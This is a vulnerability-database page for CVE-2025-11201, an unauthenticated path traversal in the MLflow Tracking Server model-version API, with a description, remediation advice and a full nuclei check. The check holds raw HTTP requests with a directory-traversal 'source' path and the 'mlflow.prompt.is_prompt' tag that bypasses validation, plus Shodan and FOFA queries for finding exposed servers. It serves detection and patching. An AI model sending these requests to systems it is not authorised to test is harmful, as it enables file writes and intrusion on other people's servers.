HexBrain

Browse / CVEs / CVE-2025-11201

CVE-2025-11201· lfprojects / mlflow· CWE-22

MLflow Tracking Server - Unauthenticated Model Source Path Traversal RCE

criticalseverity
9.8CVSS score
28.2%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

MLflow Tracking Server is vulnerable to an unauthenticated path traversal in the model-version creation API. The server validates the `source` parameter and rejects relative/local paths, but skips that validation entirely when the request carries the `mlflow.prompt.is_prompt` tag (the request is then treated as a prompt). An unauthenticated attacker can supply an arbitrary traversal path as the model version `source`, writing attacker-controlled files to arbitrary locations on the server filesystem and achieving remote code execution under the service account. The fix adds an opt-in MLFLOW_CREATE_MODEL_VERSION_SOURCE_VALIDATION_REGEX allowlist; with the default (unset) configuration the bypass remains exploitable even on 2.22.4.

Impact

Unauthenticated arbitrary file write on the MLflow server, leading to remote code execution under the service account.

Fix

Upgrade MLflow and set MLFLOW_CREATE_MODEL_VERSION_SOURCE_VALIDATION_REGEX to a strict allowlist that rejects local/relative source paths, and restrict network access to the Tracking Server to trusted users.

How to confirm it

Send: POST /api/2.0/mlflow/registered-models/create
Positive when: contains "\"registered_model\"" AND status 200
Send: POST /api/2.0/mlflow/model-versions/create
Positive when: contains "Invalid model version source"
Send: POST /api/2.0/mlflow/model-versions/create
Positive when: contains "\"model_version\"" and "mlflow.prompt.is_prompt" and "{{probe}}" AND status 200

Run it with nuclei: nuclei -id CVE-2025-11201 -u <target>

The full check
id: CVE-2025-11201

info:
  name: MLflow Tracking Server - Unauthenticated Model Source Path Traversal RCE
  author: DhiyaneshDk
  severity: critical
  description: |
    MLflow Tracking Server is vulnerable to an unauthenticated path traversal in the model-version creation API. The server validates the `source` parameter and rejects relative/local paths, but skips that validation entirely when the request carries the `mlflow.prompt.is_prompt` tag (the request is then treated as a prompt). An unauthenticated attacker can supply an arbitrary traversal path as the model version `source`, writing attacker-controlled files to arbitrary locations on the server filesystem and achieving remote code execution under the service account. The fix adds an opt-in MLFLOW_CREATE_MODEL_VERSION_SOURCE_VALIDATION_REGEX allowlist; with the default (unset) configuration the bypass remains exploitable even on 2.22.4.
  impact: |
    Unauthenticated arbitrary file write on the MLflow server, leading to remote code execution under the service account.
  remediation: |
    Upgrade MLflow and set MLFLOW_CREATE_MODEL_VERSION_SOURCE_VALIDATION_REGEX to a strict allowlist that rejects local/relative source paths, and restrict network access to the Tracking Server to trusted users.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-11201
    - https://www.zerodayinitiative.com/advisories/ZDI-25-931/
    - https://mallory.ai/vulnerabilities/CVE-2025-11201
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-11201
    epss-score: 0.26282
    epss-percentile: 0.98016
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 3
    shodan-query: 'http.title:"MLflow"'
    fofa-query: 'title="MLflow"'
    product: mlflow
    vendor: lfprojects
  tags: cve,cve2025,mlflow,rce,path-traversal,unauth,intrusive,vkev

variables:
  model: "{{to_lower(rand_text_alpha(12))}}"
  probe: "{{to_lower(rand_text_alpha(10))}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{model}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"registered_model"'
        internal: true
      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        POST /api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{model}}","source":"/tmp/{{probe}}/../../../../../../../../etc/{{probe}}"}

    matchers:
      - type: word
        part: body
        words:
          - "Invalid model version source"
        internal: true

  - raw:
      - |
        POST /api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{model}}","source":"/tmp/{{probe}}/../../../../../../../../etc/{{probe}}","tags":[{"key":"mlflow.prompt.is_prompt","value":"true"}]}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"model_version"'
          - 'mlflow.prompt.is_prompt'
          - '{{probe}}'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from